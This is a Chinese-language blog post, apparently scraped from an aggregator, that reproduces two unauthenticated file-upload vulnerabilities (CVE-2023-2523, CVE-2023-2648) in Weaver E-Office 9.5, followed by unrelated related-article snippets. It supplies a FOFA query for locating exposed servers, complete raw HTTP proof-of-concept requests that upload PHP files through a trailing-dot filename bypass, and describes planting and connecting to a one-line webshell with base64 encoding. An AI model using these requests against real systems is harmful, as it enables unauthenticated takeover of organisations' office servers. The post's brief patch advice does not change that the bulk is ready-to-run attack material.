泛微 E-Office文件上传漏洞复现(CVE-2023-2523、CVE-2023-2648)

2023-11-12

0x01 产品简介

      泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。

0x02 漏洞概述

cve-2023-2523

    泛微e-office 9.5版本,源文件 App/Ajax/ajax.php?action=mobile_upload_save 的一些未知功能存在问题。 参数 upload_quwan 的操作导致不受限制的上传,未经身份验证的恶意攻击者通过上传恶意文件,从而获取目标服务器的控制权限。

cve-2023-2648

    由于泛微e-office 9.5版本源文件/inc/jquery/uploadify/uploadify.php存在问题,对参数Filedata的操作会导致不受限制的上传,未经身份验证的恶意攻击者通过上传恶意文件,从而获取目标服务器的控制权限。

0x03 影响范围

 泛微 E-Office 9.5

0x04 复现环境

FOFA:app="泛微-EOffice"

 0x05 漏洞复现 

cve-2023-2523——PoC

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
Host: your-ip
Content-Length: 352
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="upload_quwan"; filename="1.php."
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--

bp构造请求包复现

 可以看到,回显了完整的上传路径,尝试访问

漏洞利用:上传一句话马子

 尝试连接 

注:必须要使用base64编码 ,不然会报错

 

 

 cve-2023-2648——PoC

POST /inc/jquery/uploadify/uploadify.php  HTTP/1.1
Host: your-ip
Content-Length: 204
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="Fdiledata"; filename="uploadify.php."
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

 

上图所示:与 cve-2023-2523的不同点就是,他返回的只有一个随机的文件夹参数,并非完整路径,利用方式都一样,就不展示,各位随意发挥。

0x06 修复建议

目前官方已修复以上漏洞,受影响用户可以升级更新到安全版本。

官方下载链接:https://service.e-office.cn/download

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

泛微 E-Office文件上传漏洞复现(CVE-2023-2523、CVE-2023-2648) 的相关文章

  • 一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • SRC漏洞挖掘经验+技巧篇

    一 漏洞挖掘的前期 信息收集 虽然是前期 但是却是我认为最重要的一部分 很多人挖洞的时候说不知道如何入手 其实挖洞就是信息收集 常规owasp top 10 逻辑漏洞 重要的可能就是思路猥琐一点 这些漏洞的测试方法本身不是特别复杂 一般混迹
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 小白入门黑客之渗透测试(超详细)基本流程(内附工具)

    经常会收到小伙伴们这样的私信 为什么我总是挖不到漏洞呢 渗透到底是什么样的流程呢 所以全网最详细的渗透测试流程来了 渗透测试其实就是通过一些手段来找到网站 APP 网络服务 软件 服务器等网络设备和应用的漏洞 告诉管理员有哪些漏洞 怎么填补
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 网络安全:绕过 MSF 的一次渗透测试

    这次渗透的主站是 一个 Discuz 3 4 的搭建 违法招 piao 网站 配置有宝塔 WAF 用 Discuz ML 3 X 的漏洞进行攻击 但是没有成功 发现主站外链会有一个发卡网 引导人们来这充值 是 某某发卡网 而且域名指向也是主
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐

随机推荐

  • 1.结合宏定义三目运算符实现两个数求最大值

    一 题目 结合宏定义三目运算符实现两个数求最大值 二 知识点 1 三目运算符 三目运算符又称条件运算符 格式 表达式1 表达式2 表达式3 运算规则 先执行表达式1 然后判断表达式1是否成立 如果成立就执行表达式2 否则就执行表达式3 2
  • 华为机试C语言-书籍叠放问题2

    题目描述 https www cnblogs com zucc 31701019 p 14967899 html https zhuanlan zhihu com p 526649048 这题贪心就可以了 强行动态规划有点勉强 但是也刚好练
  • spring data rest 缓存/spring boot Jpa 二级缓存 ehcache 与 redis

    这两天都在为学校的项目做准备 期间也遇到了很多问题 比如自己写代码生成器 比如授权这些 发现自己还是有点太弱了 但是最为棘手的莫过于缓存的问题 主要原因还是自己太想用 spring data rest 了 这个在假期就没有解决缓存的问题 现
  • [转]可绕过WAF的Burp Suite插件 – BypassWAF

    工具地址 https github com codewatchorg bypasswaf 工具原理 https www codewatch org blog p 408 quote Users can modify the X Origin
  • 【无监督】4、BYOL

    文章目录 一 背景和动机 二 方法 2 1 BYOL 网络结构 2 2 实现细节 三 效果 3 1 总体效果 3 2 和 SimCLR 的对比 四 BYOL 真的没有用到负样本吗 BN 之讨论 论文 Bootstrap Your Own L
  • xrd计算晶面间距_jade基本操作(6.残余应力计算)

    微信公众号试行乱序推送 为了不错过更新 请点击本页面最上方的 结构分析表征 进入公众号主页 点击右上角的三个小点点 在弹出的界面点击 设为星标 并在看完图文或视频后点击右下角的 在看 和 赞 本公众号以各类仪器的测试 分析教程 欢迎关注同名
  • 学习笔记(01):MySQL数据库从入门到搞定实战-DDL之数据库

    立即学习 https edu csdn net course play 27328 362512 utm source blogtoedu SQL 结构化查询语言 用于访问和操作数据库 主要包括数据定义 数据操纵 数据查询和数据控制 DDL
  • element-ui 关于日期范围选择控件,如何限制只能选择30天

    问题描述 element ui 日期选择器如何限制只能选择一个月 超过一个月不能选择 也就是在选定起始日期时 只能向后面选择30天 同时不能选择超过今天的日期 知识点 element ui日期选择组件地址 http element cn e
  • MAC 认证和 MAC 旁路认证

    一 MAC 认证原理 1 MAC认证是什么 MAC 认证 是指终端网络接入控制设备自动获取终端的 MAC 地址 作为接入网络的凭证发到RADIUS 服务器进行校验 MAC 认证是一种基于接口和 MAC 地址对用户的网络访问权限进行控制的认证
  • 【101】使用 nRF24L01 射频模块操控舵机云台

    Bill of Material 遥控器 9V 电池 x1 9V电池扣 x1 Arduino UNO x1 摇杆模块 x1 nRF24L01 射频通讯模块 x1 邦德线 面包板 云台端 9V 电池 x1 9V电池扣 x1 Arduino U
  • C#中Dictionary的用法

    转自 http www studyofnet com news 45 html 本文导读 在C 中 Dictionary提供快速的基于键值的元素查找 他的结构是这样的 Dictionary lt key value gt 当你有很多元素的时
  • QT_QML WiFi连接(1/2)(windows篇)

    目录 一 大概环境介绍 二 实现功能 代码 1 包含文件 结构体 变量定义 1 头文件 2 wifi信息结构体 3 连接过的WiFi信息结构体 4 变量 指针定义 5 定义的WiFi连接XML文件 A 有密码 B 无密码 2 获取范围内Wi
  • python+jieba分析唐诗三百首

    python jieba分析唐诗三百首 代码及源文件地址 poem 300 代码保证符合命名规范 遵循PEP8规则 导包顺序清晰 尽量做到复用性和不罗嗦 记得修改文件路径哟 如果有帮到您 还请给个评论或star 蟹蟹 1 题目描述 俗话说
  • 四种cast转换

    c 动态类型转换有四种const cast static cast dynamic cast reinterpreter cast 前面两个用的多 但是后面的针对其设计理念有许多其他的实现方法可达到同样的效果 1 const cast 用于
  • 三维数学(二)

    欧拉角 使用物体在三个旋转轴上的旋转角度来保存方位 API Transform eulerAngles 返回或设置物体的欧拉角 优点 1 仅使用三个数字表达方位 占用空间小 2 沿坐标轴旋转的单位为角度 符合人的思考方式 3 任意三个数字都
  • 【廖雪峰python入门笔记】list_按照索引访问

    1 按照索引访问list Python按照索引访问list 由于list是一个有序集合 所以 我们可以用一个list按分数从高到低表示出班里的3个同学 L Adam Lisa Bart 那我们如何从list中获取指定第 N 名的同学呢 方法
  • ubuntu小技巧27--基于dnsmasq快速搭建局域网dns服务器

    ubuntu小技巧27 基于dnsmasq快速搭建局域网dns服务器 1 介绍 2搭建dns服务器 2 1 搭建步骤 2 2 测试 3 注意事项 4 说明 1 介绍 DNS Domain Name Server 域名服务器 是进行域名 do
  • Kafka学习(三)——Java工具类、Springboot集成批量消费、SparkStreaming集成

    文章目录 前言 一 Java中工具类 1 添加maven依赖 2 消费者 KafkaConsumerTest 3 生产者 KafkaProducerTest 二 SpringBoot中使用 4 1 引入依赖 4 2 application
  • vim复制多行和删除多行的方法

    方法1 光标放到第6行 输入 2yy 光标放到第9行 输入 p 此方法适合复制少量行文本的情况 复制第6行 包括 下面的2行数据 放到第9行下面 方法2 命令行模式下输入 6 9 co 12 复制第6行到第9行之间的内容到第12行后面 方法
  • 泛微 E-Office文件上传漏洞复现(CVE-2023-2523、CVE-2023-2648)

    0x01 产品简介 泛微E Office是一款标准化的协同 OA 办公软件 泛微协同办公产品系列成员之一 实行通用化产品设计 充分贴合企业管理需求 本着简洁易用 高效智能的原则 为企业快速打造移动化 无纸化 数字化的办公平台 0x02 漏洞